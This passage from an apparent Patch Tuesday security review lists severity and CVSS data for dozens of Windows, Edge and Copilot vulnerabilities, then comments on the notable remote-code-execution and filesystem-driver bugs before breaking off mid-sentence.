7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no 